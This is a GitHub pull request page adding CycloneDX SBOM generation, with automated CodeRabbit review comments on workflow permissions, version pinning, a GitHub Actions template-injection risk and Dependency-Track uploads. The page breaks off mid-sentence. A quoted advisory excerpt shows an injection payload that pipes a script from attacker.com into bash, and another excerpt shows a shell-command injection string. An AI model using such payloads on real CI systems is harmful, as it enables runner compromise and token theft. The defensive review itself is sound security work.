[SECURITY] SBOM generation pipeline for contracts and backend (#1531) - #1554
[SECURITY] SBOM generation pipeline for contracts and backend (#1531)#1554Meet-hybrid wants to merge 2 commits into
Conversation
|
@Meet-hybrid is attempting to deploy a commit to the ritik4ever's projects Team on Vercel. A member of the Team first needs to authorize it. |
|
Warning Review limit reached
Next review available in: 38 minutes Enable usage-based reviews in Billing to review now. Otherwise, wait until the next included review is available. How can I continue?After more reviews become available, a review can be triggered using the To avoid repeated limits, reduce automatic review volume by pausing incremental auto-reviews earlier, using label-based review opt-in, excluding WIP or generated PR titles, or requesting reviews manually when the PR is ready. If your team needs uninterrupted high-volume reviews, an organization admin can enable usage-based reviews. How do review limits work?CodeRabbit enforces per-developer PR review limits for each organization. Most developers receive the normal plan review availability. For paid Pro and Pro+ PR reviews, CodeRabbit uses adaptive limits for sustained high-volume activity. When a developer's recent PR review activity reaches the 95th percentile or higher among CodeRabbit users, additional reviews become available more gradually as earlier reviews age out of the rolling window. Please refer docs for additional details. Review details⚙️ Run configurationConfiguration used: defaults Review profile: CHILL Plan: Pro Plus Run ID: 📒 Files selected for processing (7)
📝 WalkthroughWalkthroughThe repository adds local and CI generation of CycloneDX SBOMs for contracts, backend, and frontend dependencies. Workflows upload component artifacts and include selected SBOMs in build artifacts. Documentation covers generation, verification, retrieval, and consumption. ChangesSBOM pipeline
Estimated code review effort: 4 (Complex) | ~45 minutes Sequence Diagram(s)sequenceDiagram
participant Workflow as SBOM workflow
participant Tools as install-tools.sh
participant Generators as SBOM generators
participant Artifacts as GitHub artifacts
Workflow->>Tools: Install and verify tools
Workflow->>Generators: Generate three CycloneDX SBOMs
Generators-->>Workflow: Return JSON SBOM files
Workflow->>Artifacts: Upload component SBOM artifacts
Possibly related PRs
Suggested reviewers: 🚥 Pre-merge checks | ✅ 4 | ❌ 1❌ Failed checks (1 warning)
✅ Passed checks (4 passed)
✨ Finishing Touches 💡 1🛠️ Fix failing CI checks 💡
🧪 Generate unit tests (beta)
Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
f7f6ede to
77f60b0
Compare
|
@Meet-hybrid Great news! 🎉 Based on an automated assessment of this PR, the linked Wave issue(s) no longer count against your application limits. You can now already apply to more issues while waiting for a review of this PR. Keep up the great work! 🚀 |
|
Hi @Meet-hybrid, This PR could not be merged because it has merge conflicts with the target branch. Please resolve the merge conflicts, push the updated changes, and the PR can be reviewed and merged. Thank you! |
1 similar comment
|
Hi @Meet-hybrid, This PR could not be merged because it has merge conflicts with the target branch. Please resolve the merge conflicts, push the updated changes, and the PR can be reviewed and merged. Thank you! |
There was a problem hiding this comment.
Actionable comments posted: 8
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In @.github/workflows/sbom.yml:
- Around line 85-104: Update the Upload contracts SBOM, Upload backend SBOM, and
Upload frontend SBOM steps to attach their generated security/sbom/*.cdx.json
files to the published GitHub release on release runs, while retaining the
existing workflow-artifact uploads for pull requests and branch builds.
In `@backend/package.json`:
- Line 96: Regenerate and commit the lockfiles matching the new
`@cyclonedx/cyclonedx-npm` dependency: update backend/package-lock.json for
backend/package.json lines 96-96 and frontend/package-lock.json for
frontend/package.json lines 77-77, ensuring both npm ci workflows can install
successfully.
In `@contracts/Makefile`:
- Around line 144-148: The contracts-only sbom target must not depend on Node or
npx. Update the `contracts` Makefile `sbom` target and the `install-tools.sh`
preflight flow to support a Cargo-only mode, invoking that mode so it validates
or installs only `cargo-cyclonedx` before `generate-contracts-sbom.sh` runs.
In `@docs/OPERATIONS.md`:
- Line 157: Update the documentation around the artifact verification statement
to remove the unsupported contract attestation claim. Limit the investigator
correlation to the contract SBOM and the workflow run’s commit SHA unless the
workflows also publish a contract attestation.
In `@scripts/sbom/generate-backend-sbom.sh`:
- Around line 44-54: Pin the CycloneDX CLI to an exact checked-in version in
both scripts: scripts/sbom/generate-backend-sbom.sh lines 44-54 and
scripts/sbom/generate-frontend-sbom.sh lines 43-51. Replace the caret-based
`@cyclonedx/cyclonedx-npm`@^1 package reference used by npx with the exact version
used by the repository lockfile, keeping the existing SBOM arguments unchanged.
In `@scripts/sbom/install-tools.sh`:
- Around line 10-11: Update scripts/sbom/install-tools.sh at lines 10-11 and
17-18 and scripts/sbom/generate-contracts-sbom.sh at lines 42-48 so the
installed cargo-cyclonedx version supports the contract SBOM command, or replace
--override-fingerprint, --output-file, and --spec-version 1.6 with equivalents
supported by the pinned 0.5.4 tool. Ensure generate-contracts-sbom.sh completes
successfully while preserving the intended output filename, fingerprint
behavior, and SBOM specification requirements.
In `@security/SBOM.md`:
- Around line 122-129: Update the SBOM workflow documentation and corresponding
release workflow so the release-only path attaches all three generated .cdx.json
files as GitHub Release assets, rather than relying solely on retained workflow
artifacts. Preserve the existing artifact upload behavior for other runs and
ensure the release upload runs only for published releases.
- Around line 140-148: Update the Dependency-Track upload recipe in the SBOM
documentation to use the required X-Api-Key header instead of Basic
authentication and include project metadata. Prefer the documented multipart
upload with autoCreate=true, projectName, projectVersion, and
bom=`@security/sbom/backend.cdx.json`; alternatively, include project metadata in
the JSON payload while retaining the API-key header.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: defaults
Review profile: CHILL
Plan: Pro Plus
Run ID: ae61550c-eee4-43dc-bb02-a58471cce74e
📒 Files selected for processing (18)
.github/workflows/build.yml.github/workflows/sbom.yml.gitignoreCHANGELOG.mdbackend/package.jsoncontracts/Makefiledocs/OPERATIONS.mddocs/RELEASE_CHECKLIST.mdfrontend/package.jsonpackage.jsonscripts/README.mdscripts/sbom/generate-all.shscripts/sbom/generate-backend-sbom.shscripts/sbom/generate-contracts-sbom.shscripts/sbom/generate-frontend-sbom.shscripts/sbom/install-tools.shsecurity/SBOM.mdsecurity/sbom/.gitkeep
There was a problem hiding this comment.
🧹 Nitpick comments (1)
contracts/Makefile (1)
217-425: 📐 Maintainability & Code Quality | 🔵 Trivial | ⚡ Quick winRemove the duplicate Makefile body.
Lines 217-425 redefine targets that already exist above. GNU Make emits recipe override warnings and uses the later recipes. This can hide changes in the first definitions.
Keep one definition for each target. Merge
test-integrationandtest-testnetinto the retained target set before removing this duplicate block.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@contracts/Makefile` around lines 217 - 425, Remove the duplicate Makefile target block beginning with the repeated default/build targets, retaining only one definition for each target. Before deleting it, merge the test-integration and test-testnet targets into the retained target set, then verify no duplicate target recipes remain and existing targets continue to use the intended commands.Source: Linters/SAST tools
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Nitpick comments:
In `@contracts/Makefile`:
- Around line 217-425: Remove the duplicate Makefile target block beginning with
the repeated default/build targets, retaining only one definition for each
target. Before deleting it, merge the test-integration and test-testnet targets
into the retained target set, then verify no duplicate target recipes remain and
existing targets continue to use the intended commands.
ℹ️ Review info
⚙️ Run configuration
Configuration used: defaults
Review profile: CHILL
Plan: Pro Plus
Run ID: 78de2652-4332-402e-a41b-a44f08601637
📒 Files selected for processing (2)
contracts/Makefilefrontend/package.json
💤 Files with no reviewable changes (1)
- frontend/package.json
There was a problem hiding this comment.
Actionable comments posted: 7
🧹 Nitpick comments (1)
.github/workflows/sbom.yml (1)
112-115: 🩺 Stability & Availability | 🔵 Trivial | ⚡ Quick winMake release uploads safe to rerun.
If a release run is retried after an asset upload succeeds,
gh release uploadrejects the existing asset name unless--clobberis used. A transient failure can leave the release incomplete and make normal retries fail.If retries should repair the release, add
--clobberor explicitly handle existing assets.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In @.github/workflows/sbom.yml around lines 112 - 115, Update the gh release upload invocation in the release workflow to use --clobber, allowing retries to replace already-uploaded SBOM assets while preserving the existing tag and asset list.
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In @.github/workflows/sbom.yml:
- Line 15: Update the SBOM workflow so the release upload runs in a dedicated
release-only job with contents: write permission. Move the gh release upload
step into that job, download the generated SBOM artifacts there, and keep the
artifact-generation job read-scoped.
- Line 112: Update the release upload step containing gh release upload so
github.event.release.tag_name is passed through the step’s environment and
referenced via a quoted shell variable in the run block, avoiding direct GitHub
expression interpolation in shell commands.
In `@scripts/sbom/install-tools.sh`:
- Around line 10-11: Update the usage comments for scripts/sbom/install-tools.sh
to accurately describe its behavior: it validates Cargo, Node.js, and npx, then
installs cargo-cyclonedx, rather than installing Rust or Node.js toolchains.
Either revise the comments to state validation and plugin installation or
implement the claimed toolchain installation steps, while preserving the
--rust-only behavior.
- Line 12: Update the cargo-cyclonedx version pin and validation in
install-tools.sh so clean runners install a published release compatible with
generate-contracts-sbom.sh. Ensure the version check rejects older installations
that cannot support --spec-version 1.6 and --output-file, or adjust the contract
generation options based on the installed version; keep the pinned override
behavior intact.
In `@security/SBOM.md`:
- Around line 143-144: Update the curl invocation in the SBOM upload recipe so
DT_API_KEY is not expanded into the process argument list; use a protected curl
configuration or another secret transport while preserving the X-Api-Key header
behavior.
- Line 147: Update the documented permissions for the POST /api/v1/bom example
using autoCreate=true to include PROJECT_CREATION_UPLOAD alongside the existing
upload permission, and keep the X-Api-Key requirement documented.
- Line 143: Update the curl invocation in the Dependency-Track upload command to
include both --fail-with-body and --show-error, ensuring HTTP 4xx/5xx responses
produce a non-zero exit while preserving the response body and error output.
---
Nitpick comments:
In @.github/workflows/sbom.yml:
- Around line 112-115: Update the gh release upload invocation in the release
workflow to use --clobber, allowing retries to replace already-uploaded SBOM
assets while preserving the existing tag and asset list.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: defaults
Review profile: CHILL
Plan: Pro Plus
Run ID: 848edea5-ff19-40a5-abe0-ee77d4ba2395
⛔ Files ignored due to path filters (3)
backend/package-lock.jsonis excluded by!**/package-lock.jsonfrontend/package-lock.jsonis excluded by!**/package-lock.jsonpackage-lock.jsonis excluded by!**/package-lock.json
📒 Files selected for processing (10)
.github/workflows/sbom.ymlbackend/package.jsoncontracts/Makefiledocs/OPERATIONS.mdfrontend/package.jsonscripts/README.mdscripts/sbom/generate-backend-sbom.shscripts/sbom/generate-frontend-sbom.shscripts/sbom/install-tools.shsecurity/SBOM.md
🚧 Files skipped from review as they are similar to previous changes (7)
- backend/package.json
- scripts/sbom/generate-backend-sbom.sh
- scripts/sbom/generate-frontend-sbom.sh
- scripts/README.md
- frontend/package.json
- contracts/Makefile
- docs/OPERATIONS.md
|
|
||
| permissions: | ||
| contents: read | ||
| # GITHUB_TOKEN is sufficient for gh release upload in release runs. |
There was a problem hiding this comment.
🔒 Security & Privacy | 🟠 Major | 🏗️ Heavy lift
🧩 Analysis chain
🏁 Script executed:
#!/bin/bash
set -euo pipefail
echo "== workflow excerpt =="
wc -l .github/workflows/sbom.yml
sed -n '1,220p' .github/workflows/sbom.yml
echo
echo "== changed lines stat =="
git diff -- .github/workflows/sbom.yml | sed -n '1,220p'Repository: ritik4ever/stellar-portfolio-rebalancer
Length of output: 4457
🌐 Web query:
GitHub CLI gh release upload permissions releases:write contents write token
💡 Result:
To use the GitHub CLI (gh) to upload assets to a release, the token being used must have specific repository permissions. In a GitHub Actions workflow, the default GITHUB_TOKEN requires the contents: write permission to upload release assets [1][2]. You must explicitly define this in your workflow YAML file, as the default permission for GITHUB_TOKEN is often read-only for repository contents [3][2]. Example configuration for a GitHub Actions job: permissions: contents: write jobs: upload: runs-on: ubuntu-latest permissions: contents: write steps: - run: gh release upload ... If you are using a personal access token (PAT) instead of the GITHUB_TOKEN—such as when running commands locally or when the GITHUB_TOKEN has limitations—the token must be configured with access to the repository. For fine-grained personal access tokens, this requires selecting the "Contents" repository permission with "Access: Read and write" [3]. For classic personal access tokens, the repo scope is required [4][5]. Note that if your workflow triggers on the release event (e.g., on: release: types: [published]), the default GITHUB_TOKEN will not be able to trigger another workflow [1][6]. In such cases, you must use a personal access token with appropriate permissions [1][7]. Also, when modifying workflow files or performing specific repository operations, additional permissions like workflows: write may be required depending on the target commit [8].
Citations:
- 1: https://github.com/softprops/action-gh-release
- 2: https://stackoverflow.com/questions/76362343/creating-a-release-using-github-action-fails-with-http-403
- 3: https://stackoverflow.com/questions/67389957/what-permissions-does-github-token-require-for-releases-from-a-github-action
- 4: https://github.com/ngoldman/gh-release
- 5: https://github.com/scikit-build/github-release/blob/master/README.md
- 6: https://github.com/softprops/action-gh-release/blob/master/README.md
- 7: https://github.com/softprops/action-gh-release?tab=readme-ov-file
- 8: https://docs.github.com/en/rest/releases/releases
Use a write-scoped release job.
This job uses contents: read, but gh release upload needs the release action to have write access for the release assets. Use a release-only job with contents: write, download the generated SBOM artifacts there, and run the upload only in that job.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In @.github/workflows/sbom.yml at line 15, Update the SBOM workflow so the
release upload runs in a dedicated release-only job with contents: write
permission. Move the gh release upload step into that job, download the
generated SBOM artifacts there, and keep the artifact-generation job
read-scoped.
| env: | ||
| GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} | ||
| run: | | ||
| gh release upload "${{ github.event.release.tag_name }}" \ |
There was a problem hiding this comment.
🔒 Security & Privacy | 🟠 Major | ⚡ Quick win
🧩 Analysis chain
🏁 Script executed:
#!/bin/bash
set -euo pipefail
echo "== workflow excerpt =="
sed -n '90,125p' .github/workflows/sbom.yml 2>/dev/null || true
echo "== all interpolations in run/env blocks =="
rg -n '\$\{\{ github\.event\.release\.tag_name \}\}' .github/workflows/sbom.yml || true
echo "== nearby release tag usage =="
rg -n 'release\.tag_name|gh release upload|GITHUB_TOKEN|release upload' .github/workflows/sbom.yml || trueRepository: ritik4ever/stellar-portfolio-rebalancer
Length of output: 1937
🌐 Web query:
GitHub Actions shell commands injection unsafe interpolation repository variables environment variables documentation
💡 Result:
GitHub Actions workflows are vulnerable to shell injection when untrusted input is interpolated directly into run blocks using the ${{ }} syntax [1][2][3]. This occurs because the GitHub Actions runner evaluates and expands these expressions before the shell processes the script, effectively allowing an attacker to escape intended commands and execute arbitrary code on the runner [1][4]. To secure workflows against this vulnerability, you must avoid direct interpolation of untrusted values in run commands [1][5][6]. Best Practices for Mitigation: 1. Use Intermediate Environment Variables: The most effective defense is to assign untrusted input (such as repository variables, secrets, or event context) to an environment variable within the env block of a workflow step [2][3][5]. You then reference this environment variable using standard shell syntax (e.g., $MY_VAR) within the run script [2][3][4]. Because the expression is handled by the environment assignment rather than being injected directly into the script string, it is treated as a literal value and not as executable code [7][5][8]. Example of Secure Pattern: - name: Securely use input env: # Assign input to an env variable first USER_INPUT: ${{ github.event.inputs.my_input }} run: | # Reference the env variable in the shell script echo "Processing input: $USER_INPUT" 2. Validate Inputs: Even when using environment variables, implement strict validation (e.g., regex checks) for any input originating from untrusted sources like pull requests, issue comments, or workflow dispatches [2][3][8]. 3. Minimize Permissions: Limit the GITHUB_TOKEN permissions for your workflows to the minimum required level (preferably read-only by default) to reduce the impact if an injection vulnerability is exploited [6][9][8]. Avoid using dangerous triggers like pull_request_target or workflow_run for workflows that handle untrusted input, as these can grant elevated privileges or allow access to secrets that would otherwise be restricted [6][9][8]. 4. Use Actions or Scripts: Where possible, use dedicated JavaScript actions or other mechanisms that do not rely on generating shell scripts to process data [5]. By treating inputs as arguments to a program rather than parts of a shell command string, you eliminate the risk of script injection entirely [5].
Citations:
- 1: https://docs.github.com/en/actions/concepts/security/script-injections
- 2: GHSA-3g6g-gq4r-xjm9
- 3: https://actsense.dev/vulnerabilities/shell_injection/
- 4: https://phpunit.expert/articles/hardening-github-actions-workflows.html
- 5: https://docs.github.com/en/actions/reference/security/secure-use
- 6: https://github.blog/security/vulnerability-research/how-to-catch-github-actions-workflow-injections-before-attackers-do/
- 7: https://github.blog/security/supply-chain-security/four-tips-to-keep-your-github-actions-workflows-secure/
- 8: https://docs.semgrep.dev/learn/vulnerabilities/command-injection/github-actions-injection
- 9: https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/GitHub_Actions_Security_Cheat_Sheet.md
🌐 Web query:
GitHub Actions ghsa-3g6g-gq4r-xjm9 environment variable interpolation ${} command injection
💡 Result:
GHSA-3g6g-gq4r-xjm9 (also tracked as CVE-2026-35580) refers to a command injection vulnerability discovered in the Emissary project [1][2]. This vulnerability stemmed from the direct interpolation of user-controlled workflow_dispatch inputs into GitHub Actions run blocks using the ${{ }} expression syntax [3][4]. In GitHub Actions, expressions inside ${{ }} are evaluated and substituted before the shell executes the command [3][5]. When these expressions include untrusted data—such as input values—the shell may interpret injected characters (like backticks, semicolons, or quotes) as part of the command, allowing an attacker to execute arbitrary code on the runner [3][5]. Key aspects of this vulnerability and its remediation include: Vulnerability Mechanism: The use of ${{ inputs.* }} directly within a run: block enables attackers to break out of the intended command context [3][1]. For example, an input like 1.0.0"; curl attacker.com/backdoor.sh | bash; echo " would be interpolated directly into the script, executing the malicious payload [3][4]. Remediation Strategy: The vulnerability was fixed by adopting environment variable indirection [3][6]. Instead of using direct interpolation, the untrusted input is first assigned to an environment variable in the env: block [1][7]. The environment variable is then safely referenced within the run: script [3][7]. Example of the secure pattern: - name: Example step env: SAFE_INPUT: ${{ github.event.inputs.my_input }} run: | echo "Processing
Citations:
- 1: GHSA-3g6g-gq4r-xjm9
- 2: https://nvd.nist.gov/vuln/detail/cve-2026-35580
- 3: https://osv.dev/vulnerability/GHSA-3g6g-gq4r-xjm9
- 4: GHSA-3g6g-gq4r-xjm9
- 5: https://docs.github.com/en/actions/concepts/security/script-injections
- 6: https://vulnerability.circl.lu/vuln/ghsa-3g6g-gq4r-xjm9
- 7: https://orbisappsec.com/blog/github-actions-shell-injection-how-variables-can-hijack-your-cicd-pipeline
- 8: GHSA-3g6g-gq4r-xjm9
🌐 Web query:
GitHub Actions script injection reference environment variables $MY_VAR command substitution
💡 Result:
In GitHub Actions, using expressions like ${{ github.event.pull_request.title }} directly within a run command is a major security vulnerability known as script injection [1][2][3]. Because the ${{ }} syntax is expanded by the runner before the shell script executes, an attacker can supply malicious input (e.g., "; ls $GITHUB_WORKSPACE") that terminates the intended command and injects arbitrary code [1][3]. To mitigate this risk, you must avoid interpolating untrusted input directly into your run commands [4][5]. Correct Pattern: Use Intermediate Environment Variables The authoritative way to handle potentially untrusted input is to map it to an environment variable in the env block, then reference that environment variable using the target shell’s native syntax (e.g., $MY_VAR in Bash) [4][2][6]. Example of secure usage: jobs: secure-example: runs-on: ubuntu-latest steps: - name: Securely use untrusted input env: MY_VAR: ${{ github.event.pull_request.title }} run: | # Use shell variable syntax, not ${{ env.MY_VAR }} echo "$MY_VAR" Why this is secure: 1. The ${{ }} expression is only evaluated during the assignment in the env block [3]. It is treated as data, not as part of the executable shell script [6][7]. 2. Referencing the variable via "$MY_VAR" (in quotes) inside the run script ensures the shell treats the content as a single string, preventing command injection and word splitting [4][3][6]. Common Mistake: Do not use ${{ env.MY_VAR }} inside the run block. Doing so re-invokes the ${{ }} expression evaluator, which defeats the security purpose and effectively re-introduces the injection vulnerability [5][8]. Always use standard shell syntax like $MY_VAR or process.env.MY_VAR (for JavaScript actions) to access the data [4][5][6].
Citations:
- 1: https://docs.github.com/en/actions/concepts/security/script-injections
- 2: https://github.blog/security/vulnerability-research/how-to-catch-github-actions-workflow-injections-before-attackers-do/
- 3: https://github.com/github/awesome-copilot/blob/main/skills/github-actions-hardening/references/injection.md
- 4: https://github.blog/security/supply-chain-security/four-tips-to-keep-your-github-actions-workflows-secure/
- 5: https://github.com/github/codeql/blob/main/actions/ql/src/Security/CWE-094/CodeInjectionMedium.md
- 6: https://docs.github.com/en/actions/reference/security/secure-use
- 7: https://docs.github.com/en/enterprise-server@2.22/actions/security-guides/security-hardening-for-github-actions
- 8: https://codeql.github.com/codeql-query-help/actions/actions-code-injection-critical/
Do not interpolate the release tag directly into the shell script.
GitHub evaluates ${{ github.event.release.tag_name }} before Bash runs, so a tag containing shell syntax can execute commands on the runner and use the step’s GITHUB_TOKEN.
Pass the value through an environment variable instead, then reference that variable in the run block.
Proposed fix
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
+ RELEASE_TAG: ${{ github.event.release.tag_name }}
run: |
- gh release upload "${{ github.event.release.tag_name }}" \
+ gh release upload "$RELEASE_TAG" \🧰 Tools
🪛 zizmor (1.28.0)
[error] 112-112: code injection via template expansion (template-injection): may expand into attacker-controllable code
(template-injection)
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In @.github/workflows/sbom.yml at line 112, Update the release upload step
containing gh release upload so github.event.release.tag_name is passed through
the step’s environment and referenced via a quoted shell variable in the run
block, avoiding direct GitHub expression interpolation in shell commands.
Source: Linters/SAST tools
| ```bash | ||
| # Upload a single SBOM via the auto-create multipart endpoint. | ||
| # Requires an X-Api-Key header (not Basic auth). | ||
| curl -X POST "${DT_BASE_URL}/api/v1/bom" \ |
There was a problem hiding this comment.
🩺 Stability & Availability | 🟡 Minor | ⚡ Quick win
🧩 Analysis chain
🏁 Script executed:
#!/bin/bash
set -euo pipefail
printf '--- security/SBOM.md around line 143 ---\n'
if [ -f security/SBOM.md ]; then
sed -n '130,160p' security/SBOM.md | cat -n
else
printf 'security/SBOM.md not found\n'
fi
printf '\n--- curl invocations in SBOM docs ---\n'
rg -n 'curl|bom|DT_BASE_URL|DSC_BASE_URL' security/SBOM.md 2>/dev/null || true
printf '\n--- curl availability and version ---\n'
if command -v curl >/dev/null 2>&1; then
curl --version | head -5
else
printf 'curl not available\n'
fi
printf '\n--- Read-only parser check for line 143 ---\n'
python3 - <<'PY'
from pathlib import Path
p=Path('security/SBOM.md')
if p.exists():
lines=p.read_text().splitlines()
if 143 <= len(lines):
print(f'line_143_has_curl={"curl" in lines[142]}')
print(f'line_143_has_fail={"--fail" in lines[142] or "--fail-with-body" in lines[142]}')
print(f'line_143={lines[142]}')
else:
print('line_missing')
PYRepository: ritik4ever/stellar-portfolio-rebalancer
Length of output: 268
🏁 Script executed:
#!/bin/bash
set -euo pipefail
echo '--- security/SBOM.md around line 143 ---'
if [ -f security/SBOM.md ]; then
sed -n '130,160p' security/SBOM.md | cat -n
else
echo 'security/SBOM.md not found'
fi
echo
echo '--- curl invocations in SBOM docs ---'
rg -n 'curl|bom|DT_BASE_URL|DSC_BASE_URL' security/SBOM.md 2>/dev/null || true
echo
echo '--- curl availability and version ---'
if command -v curl >/dev/null 2>&1; then
curl --version | head -5
else
echo 'curl not available'
fi
echo
echo '--- Read-only parser check for line 143 ---'
python3 - <<'PY'
from pathlib import Path
p=Path('security/SBOM.md')
if p.exists():
lines=p.read_text().splitlines()
if 143 <= len(lines):
line=lines[142]
print(f'line_143_has_curl={"curl" in line}')
print(f'line_143_has_fail={"--fail" in line or "--fail-with-body" in line}')
print(f'line_143={line}')
else:
print('line_missing')
PYRepository: ritik4ever/stellar-portfolio-rebalancer
Length of output: 6370
🌐 Web query:
curl docs --fail-with-body HTTP response codes 4xx 5xx --fail
💡 Result:
The --fail-with-body command line option in curl is used to handle HTTP server errors (response codes 400 or greater) while still preserving and outputting the response body [1][2][3]. Key details: - Behavior: When the server returns an HTTP status code of 400 or higher, curl will return an exit code of 22 (CURLE_HTTP_RETURNED_ERROR) [1][4]. Unlike the standard --fail option, which discards the response body when an error occurs, --fail-with-body saves and outputs the content [1][2][3]. - Mutually Exclusive: This option is mutually exclusive with the standard --fail (-f) flag [2][5][6]. - Use Case: It is primarily used for debugging or parsing error messages returned by a server, which are often provided in the response body (e.g., HTML or JSON error details) [1][7][3]. - Requirements: The option was added in curl version 7.76.0 [1][2][3]. Comparison: - --fail (-f): Fails on HTTP errors (>= 400) by returning exit code 22 and producing no response body output [2][5][8]. - --fail-with-body: Fails on HTTP errors (>= 400) by returning exit code 22 but still saves and outputs the response body [1][2][3].
Citations:
- 1: https://android.googlesource.com/platform/external/curl/+/5c5a0819f58af3d7dfceadccf9793b503b143fd2/docs/cmdline-opts/fail-with-body.d
- 2: https://curl.se/docs/manpage.html
- 3: https://daniel.haxx.se/blog/2021/02/11/curl-fail-with-body/
- 4: https://latchkey.dev/learn/exit-codes/curl-exit-code-22-in-ci
- 5: https://manpages.debian.org/curl(1)
- 6: https://man.archlinux.org/man/curl.1
- 7: https://www.simplified.guide/curl/http-fail-error
- 8: https://manpages.debian.org/stable/curl/curl.1.en.html
🌐 Web query:
curl manpage default failsafe curl won't fail HTTP 4xx 5xx
💡 Result:
By default, curl does not consider HTTP response codes (such as 4xx or 5xx) to indicate a failure [1][2]. Even if a server returns an error code, curl considers the HTTP transfer itself successful if the response is received, and it will output the response body by default [1][2]. To force curl to exit with an error code when receiving HTTP server errors (400 or greater), you must explicitly use the --fail (or -f) command-line option [1][3]. When --fail is used: 1. Curl will return exit code 22 upon encountering an HTTP response code of 400 or greater [1][4]. 2. Curl will suppress the output of the response body [1][5]. It is important to note that --fail is not considered "fail-safe" [1][6]. In certain scenarios, particularly those involving authentication (such as HTTP 401 Unauthorized or 407 Proxy Authentication Required), non-successful response codes may still slip through and not trigger an error [1][3][6]. For scenarios where you need to receive the error code but also require the server's error response body, you can use the --fail-with-body option as an alternative to --fail [1][7]. Additionally, if your command involves multiple URLs, be aware that --fail is not a global option and is contained by --next [1][5]. For ensuring that any failure in a multi-URL command stops execution, you may need to combine it with --fail-early [1][7].
Citations:
- 1: https://curl.se/docs/manpage.html
- 2: https://ec.haxx.se/libcurl-http/responses.html
- 3: https://man.archlinux.org/man/curl.1
- 4: https://manpages.ubuntu.com/manpages/resolute/man1/curl.1.html
- 5: https://manpages.ubuntu.com/manpages/questing/man1/curl.1.html
- 6: https://curl.se/libcurl/c/CURLOPT_FAILONERROR.html
- 7: https://man7.org/linux/man-pages/man1/curl.1.html
Make the Dependency-Track upload fail on HTTP errors.
The curl command at security/SBOM.md:143 will not exit non-zero for Dependecy-Track HTTP 4xx/5xx responses by default. Add --fail-with-body --show-error so upload failures are not silently treated as successes.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@security/SBOM.md` at line 143, Update the curl invocation in the
Dependency-Track upload command to include both --fail-with-body and
--show-error, ensuring HTTP 4xx/5xx responses produce a non-zero exit while
preserving the response body and error output.
| curl -X POST "${DT_BASE_URL}/api/v1/bom" \ | ||
| -H "X-Api-Key: ${DT_API_KEY}" \ |
There was a problem hiding this comment.
🔒 Security & Privacy | 🟡 Minor | ⚡ Quick win
Keep DT_API_KEY out of process arguments.
If this recipe runs on a shared Linux runner, shell expansion puts the API key in the curl argument list. Running processes expose their command-line arguments through /proc/<pid>/cmdline. Use a protected curl configuration or another secret transport. (man7.org)
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@security/SBOM.md` around lines 143 - 144, Update the curl invocation in the
SBOM upload recipe so DT_API_KEY is not expanded into the process argument list;
use a protected curl configuration or another secret transport while preserving
the X-Api-Key header behavior.
| -H "X-Api-Key: ${DT_API_KEY}" \ | ||
| -F "projectName=stellar-portfolio-rebalancer" \ | ||
| -F "projectVersion=$(git describe --tags --always 2>/dev/null || echo 'dev')" \ | ||
| -F "autoCreate=true" \ |
There was a problem hiding this comment.
🔒 Security & Privacy | 🟡 Minor | ⚡ Quick win
🧩 Analysis chain
🏁 Script executed:
#!/bin/bash
set -euo pipefail
echo "== file context =="
sed -n '120,170p' security/SBOM.md
echo
echo "== dependency-track docs mentions in repo? =="
rg -n "autoCreate|PROJECT_CREATION_UPLOAD|BOM_UPLOAD|DEPENDENCY_TRACK" security -S || trueRepository: ritik4ever/stellar-portfolio-rebalancer
Length of output: 2572
🌐 Web query:
Dependency-Track API autoCreate=true API key permissions PROJECT_CREATION_UPLOAD BOM_UPLOAD
💡 Result:
To use the Dependency-Track autoCreate=true parameter when uploading a Software Bill of Materials (SBOM) via the REST API, the API key principal must possess the PROJECT_CREATION_UPLOAD permission [1][2]. Key points regarding permissions and behavior for auto-creation: Required Permissions: To successfully upload a BOM and trigger the auto-creation of a project if it does not exist, the associated team must hold both BOM_UPLOAD (to perform the upload) and PROJECT_CREATION_UPLOAD (to perform the project creation) permissions [1][3]. Access Control (ACL) Integration: When an API key automatically creates a project, Dependency-Track ensures the team associated with that API key is added to the new project's Access Control List (ACL) [4][5]. This ensures the team retains permission to view or manage the newly created project [5][3]. Common Issues: - Access Denied (403): If you receive a "Forbidden" or "Access Denied" error despite having these permissions, ensure that Portfolio Access Control (PAC) is configured correctly. In some environments, users have reported that additional permissions (such as ACCESS_MANAGEMENT) were erroneously required in certain versions due to specific access control configurations, though BOM_UPLOAD and PROJECT_CREATION_UPLOAD are the standard intended requirements [6][3]. - Parent Projects: If you are auto-creating a child project, be aware that the child project does not automatically inherit the team assignments of the parent project [7]. You may 